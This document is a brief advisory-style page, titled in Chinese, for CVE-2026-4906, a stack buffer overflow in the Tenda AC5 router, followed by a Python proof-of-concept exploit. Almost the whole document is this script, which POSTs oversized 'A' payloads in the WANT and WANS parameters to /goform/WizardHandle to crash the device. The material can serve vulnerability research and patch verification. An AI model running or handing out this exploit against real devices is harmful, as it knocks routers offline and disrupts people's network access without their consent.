CVE-2026-4906 Tenda AC5路由器栈缓冲区溢出漏洞

import requests # Target IP address of the vulnerable Tenda AC5 device target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/WizardHandle" # Constructing the malicious payload # The buffer size limit is exceeded to trigger the overflow # 'A' * 1000 is an example length, actual offset needs debugging payload = b"A" * 1000 # Vulnerable parameters identified in the description data = { "WANT": payload, "WANS": payload } try: print(f"Sending exploit payload to {url}...") # Sending POST request response = requests.post(url, data=data, timeout=5) print(f"Response status code: {response.status_code}") except requests.exceptions.RequestException as e: # Connection might be lost if the device crashes (DoS) print(f"Device may have crashed or connection refused: {e}")